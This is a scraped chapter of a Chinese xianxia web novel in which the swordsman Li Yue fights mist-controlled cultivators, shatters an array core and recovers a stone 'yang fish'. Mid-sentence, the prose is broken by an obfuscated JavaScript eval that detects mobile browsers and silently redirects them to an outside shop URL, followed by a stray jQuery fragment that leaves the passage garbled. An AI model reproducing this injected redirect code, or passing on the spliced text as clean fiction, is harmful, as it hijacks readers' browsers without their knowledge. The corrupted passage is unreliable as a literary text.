文趣网 > 其他小说 > 月华映青锋 > 38. 复得阳鱼
    李越只觉一股醉人的芬芳扑面绽开,身子为之一轻,恍惚中,似乎有无数声音不住向他耳语:

    “又要开学了,好烦啊,完全没玩够,学校能不能突然关门啊……”

    “课业好难,学也学不懂,授课老师凶巴巴的,凭什么总盯着我骂?”

    “救救我吧作业写不完了!许愿作业真的着火……”

    曾几何时,繁重课业也是几乎占据李越生活全部的重要事物,师父莫天奇治学甚严,做不好挨打、受罚是家常便饭,做得好也不过一句夸奖,纵情玩乐是不许的,休息是有限的……

    对于这样枯燥乏味的生活,小小的李越当然生出过委屈与不甘,然而,自从见过师父管束姐姐课业的样子后,一切该有的、不该有的情绪和心思便都哑了火——

    身为掌门之女,尚且难得父亲一点好脸色,何况他这个捡来的弃婴?

    师父心无存私,将他和姐姐一视同仁,二十年不曾稍改,李越当然真心实意将无极门视为自己的家,他们就是他在世间仅存的牵系、至亲的亲人……

    往事历历在目,莫门主威严的视线隔着虚空落在李越身上,沉甸甸的,带着昆仑风雪的冷意,丹桂树下,少女笑靥胜过万千繁花,祭祀仪式的灵力墙散发着明亮到刺眼的盛大辉光,将雪峰琼楼淹没在光晕里;

    那些沉眠的希冀、向往、遗憾与不舍……此刻在回忆里复苏、疯长,紧紧缠绕在李越心口,勒得他不住钝痛,自灭门那日起,他的眼泪就已枯竭,任凭旧事如何纠缠勾绞,也只能拧出咸苦的血水。

    铃音遥遥传来,嗡鸣忽近忽远,那股沉重的苦涩中,渐渐绽开更多浓烈涌动的情绪——孤独,恐惧,怨愤,甚至恨意。

    为什么偏偏是自己?……为什么非要是自己不可?

    电芒爆起凌厉紫光,黑气翻涌,逃也似地慌忙退开,李越虚浮在半空中,猛地一挣,终于彻底清醒过来;他大口喘息着,感觉自己浑身都是冷汗,他强迫自己搁置那些情绪,一边努力调息静心,一边轻轻拍了拍焦急守在一旁的珍珠。

    “我没事。”他低声安抚道。

    漆黑游丝在柔光中时隐时现,贼心不死地涌动着,想要靠近却不得破绽,李越高仰起头,仔细张望场中战局:

    一轮火红耀金的阵盘幻影正笼罩在整个听潮楼上空缓缓旋转,天火滴坠,霞色遍烧,将几名水族包饺子似的围在正中,持长符的那名水族修士正专注渡灵入阵,一时间看不出什么端倪……

    这黑气究竟是什么来头,竟能在功法与雷符共同护体的情况下悄无声息引动心神?即使他身负有伤、境界跌落,也不该是这种结果……

    紫金夔发狂失智的模样在脑海中回荡,李越不再犹豫,彻底捏爆雷符,紫芒流转,冷飞白铿然爆起明亮电光,光芒照向四周雾气,瞬间映出十余个模糊亮斑,一闪便消失不见,仿佛只是漫天灵光散射出的虚影;

    李越周身雷电涌动,就连珍珠身上都冒起细碎的电弧,他持刀的手一翻,整个人忽然消失在原地,雾气深处,惨号和雷光一齐炸开,黑气避散,露出其中被电翻在地的听潮楼修士,双刺散落在旁,赫然是个已有化气中期修为的工作人员。

    纷乱横流的黑雾以肉眼可见的速度绞结成缕,缀连向四面八方,雾幕后,十来个人影正快步逼近,亮斑再次此起彼伏闪动起来,那是敌人身侧兵器反射出的冷光;

    李越握紧冷飞白用力,刀尖深深刺入正电得乱颤的双刺修士体内,本该流血的伤口中,只有丝丝黑气散出,雷电之力在双刺修士体内爆发,连一声惨号都来不及发出,对方猛地一挺身,彻底晕死过去。

    李越翻手抽刀站起,冷眼望向聚拢而来的修士,这群人显然比第一波阻拦者精锐许多,几乎都在筑基后期以上,幸好修为最高的一位已经被放倒了,否则一股脑堵到脸上,恐怕真的只有束手就擒的份儿;

    黑线在他们身周勾结围绕,仿佛有生命般缓缓飘动着,随听潮楼阵法的激荡而鼓动,珍珠周身灵光蓬大,凶巴巴地拦在修士们与主人之间,发出恐吓的低吼。

    在这样紧要的关头,李越的注意力却被那些细密连绵的黑线吸引,他皱眉打量着不断飘摇的雾线,手指微动,仅剩的小纸人们便纷纷飞回,小心翼翼地落在那些修士身后的黑线远端。

    李越:……!!!

    刃光与电芒同时炸开,没有任何预兆,十余名修士不约而同起势攻上,珍珠高高飞起,流星般狠狠砸在其中一名修士脸上,立即将人冲倒在地;刀光剑影就在眼前,李越腾身跃至半空,剑气凛冽,却没有第一时间对敌,而是切向那些横流的黑色雾线。

    不远处,菱花楼中心的阵核鼓动着,灵气潮汐牵引着雾气与黑线一齐翻涌,似乎仍在喷发黑气,态势却比之前平和了许多;灵光直射入黑雾,烟光交结,云腾雾卷,即将冲到面前的修士们脚步一顿,快慢间错,阵型难以避免地化作三波,此起彼伏拥了上来。

    这些筑基、化气修士中不乏高年级的听潮楼弟子,然而面对这些半大不小的青年学生,李越毫无手软的意思,借着雷符所余之力,鬼魅般在人群中穿梭游走,招式奇绝险厉,

    刀光舞处,霆霓乍惊,雾中爆起令人胆寒的惨叫,又一名化气初期的弟子滚倒在地,很快便彻底不动了;

    借着李越飞身截杀的工夫,其余众人觅机围上,终于成功将他圈在战局中央,

    众多本命兵器所指之处,李越铿然拔刀,黑血喷射而出,雾与血溅了他满身,他将刃口夹在臂弯里不紧不慢地一抹,冷光轻闪,星眸森寒,映得半脸鬼牙面具真如杀神降世一般。

    然而,雾色渺渺,不知是彻底被黑气迷了心智,还是没看清李越转瞬间连杀二人的身手,其余修士简直不知恐惧为何物,连一息犹豫都无,立即连手攻上,长枪短剑一齐招呼来,逼得李越不得不再次调动雷电,惊霆连落,勉强将再次联起手的修士分隔开来。

    “不打了!撤!”

    李越灵力飞速运转,冷飞白寒芒爆起,奋力格开一刀一锏,趁着敌人欺近的工夫,掌心凝聚一缕惊雷,直直劈在二人面中,电得他们不住惨号,眼见四周濛濛雾气中人影涌动,似是又有新的援军围上,立即旋身腾空,转眼间飞闪出去几纵之远。

    “嗷!”

    珍珠立即响应,它早就想走了,见主人终于回心转意,立刻松了口气,开开心心从电得直翻白眼的敌人脸上飞了起来,

    “我早就看好了!那边就是大门…诶?!”

    李越的身影在半空中轻盈飞掠,却是直奔黑气更浓郁的菱花楼阵核而去,他反刃在手,用力一抹,鲜血沿刀身淋漓而下,周身涌动的细碎电芒蓦地一收,在他掌心汇聚出一道紫得发黑的可怖雷刃。

    “我们不逃吗?!”

    珍珠终于后知后觉地惨叫起来,器灵与器身间有着不可分割的紧密联系,早在李越精血触及刀身的一刻,器灵珍珠便瞬间召唤至主人身旁,望着李越手心粗壮如雷劫的电柱,珍珠连话音都颤抖起来,

    “等等等等!黑气还在喷发啊!那边是危险的源头啊!!”

    “就是要去那边!”

    李越的声调也高了起来,他死死望向海角尽头、黑气最为浓郁之处,周身灵力运转到极致,双掌猛然一推,将雷刃激射而出,

    “那些灵力潮汐…并非是喷发黑气所致,实为吸收!你仔细看灵力线!”

    “最后一层阵核的作用不是催动黑气,是借着黑气吸收修士

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17776316|210029||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    身上的能量,将阵核处的东西转移走!不能让他们撤走剑诀!”

    “嗷?!”珍珠尖叫起来,不知是吓的,还是过于惊讶,声音很快淹没在霹雳炸开的惊天震响中。

    电光与雾气阴阴相燃,烧做无数纸灰似的白烟,青光闪动,将这小小一隅映得辉煌如昼,

    一片白茫茫中,染血的冷飞白泛起轻灵似霰的莹莹剑光,辉光所到之处,黑雾避之不及,分海般让出一条坦荡通途,直露出阵核深处一枚满布光晕的袖珍物事;

    李越紧随雷电之后,飞身长驱入阵,无妄剑诀上九式悍然出手。

    第一刀旋身挥出,上千条汹涌包裹而来的黑线应声齐断,

    第二刀顺势劈下,阻挡在阵核与他之间的望楼轰然炸起烟尘,自围墙至飞檐,裂出深至龙骨的巨大裂隙;

    如此所向披靡之势下,就连时间也随之放慢、凝滞,李越残破的衣袖在风中猎猎翻飞,掌中残红牵出游丝般的血线,

    呼吸之间,草叶轻颤,第三刀温柔如月光穿云,轻轻点在阵核处光晕中心,雷霆震响中,阵核白光猛然一滞,绽出琉璃碎裂的琅然脆响。

    炼神大能的血肉鏖战之场边缘,无人顾及的角落里,听潮楼大阵的三层阵核,至此全部破溃。

    光晕散去,露出其间物事的真实样貌——那是一颗石雕阳鱼,质地粗粝宛如失色珊瑚礁,在阵法灵力与剑气的撞击下,正打着转轻颤着,缓缓落定在青石水台上。

    属于他自己的灵力气息瞬间弥散开来,顾不得惊讶或思量,李越一把抄起阳鱼塞进储物袋内,握紧短刀迅速转回身来:

    只见黑气纵横蒸腾,雾影缭绕,失去阵法牵引的黑气不再聚拢成线,反而肆意扩张弥散,一时间竟有盖过阵法交战之势;

    影影绰绰中,越来越多的听潮楼弟子正向菱花楼处涌来,没有了黑线操纵调度,仅凭战斗本能驱使的修士们毫无章法、一拥而上,反而全都堵在外墙附近,自己人绊住了自己人。

    李越利落地翻过屋顶,踩着飞檐纵身一跃,扑进愈加狂乱的黑气深处,冷飞白紧紧握在手中,随灵力飞速运转而不断闪烁着明亮柔光,照亮身前一点道路;

    他在感染了黑气的修士潮中不断穿梭,依靠轻灵身法,分花拂柳般迅速穿行,偶有短兵相接,也务求脱身为要,纵使如此,在一路冲到之前的礁石小路附近时,也难以避免地被人潮团团困住,再难前行一步。

    “用雷劈他们!”珍珠仍处在极度兴奋中,尚未缓过神来,

    “主人!给我一点雷!我去把那些破木板子撞开!”

    几枚低阶火符擦着李越面颊射过,在身侧爆成一团油绿的焰花,李越丝毫不避,腰肢以一个不可思议的柔软角度折弯,刀身与迎面劈下的兵器擦击,借着一点混元巧劲,轻轻一挑就将武器旋飞脱手,紧接着狠狠一踹,利落将人踢倒在地,当即昏死过去。

    “没有了!”李越大声回道,“全用完了!什么都不剩了!”

    珍珠:……

    “那我…那…那怎么办?”器灵彻底傻眼了。

    直到此时它才发觉,刚刚一路庇护自己免受黑气侵染的,实为无妄剑法的强横驱邪之力,可剑气没办法像雷电那样附在身上,自然也无法助它辟开前路……

    珍珠用力扬起小脑袋高高望去,黑雾深处,坍塌的木构梁柱裹挟着上百棵倒伏、卷积的粗壮椰树,交缠成山一样高的废墟,巨影遮天蔽日,一眼难望到顶;

    要在这样体量的垃圾堆里撞出一条路,仅仅是稍微设想一下,它便难以自抑地发起抖来。

    “我…我……我可以的!”珍珠嗷一声哭了出来,

    “主人你要保重自己,不要太想我,也不要太伤心……”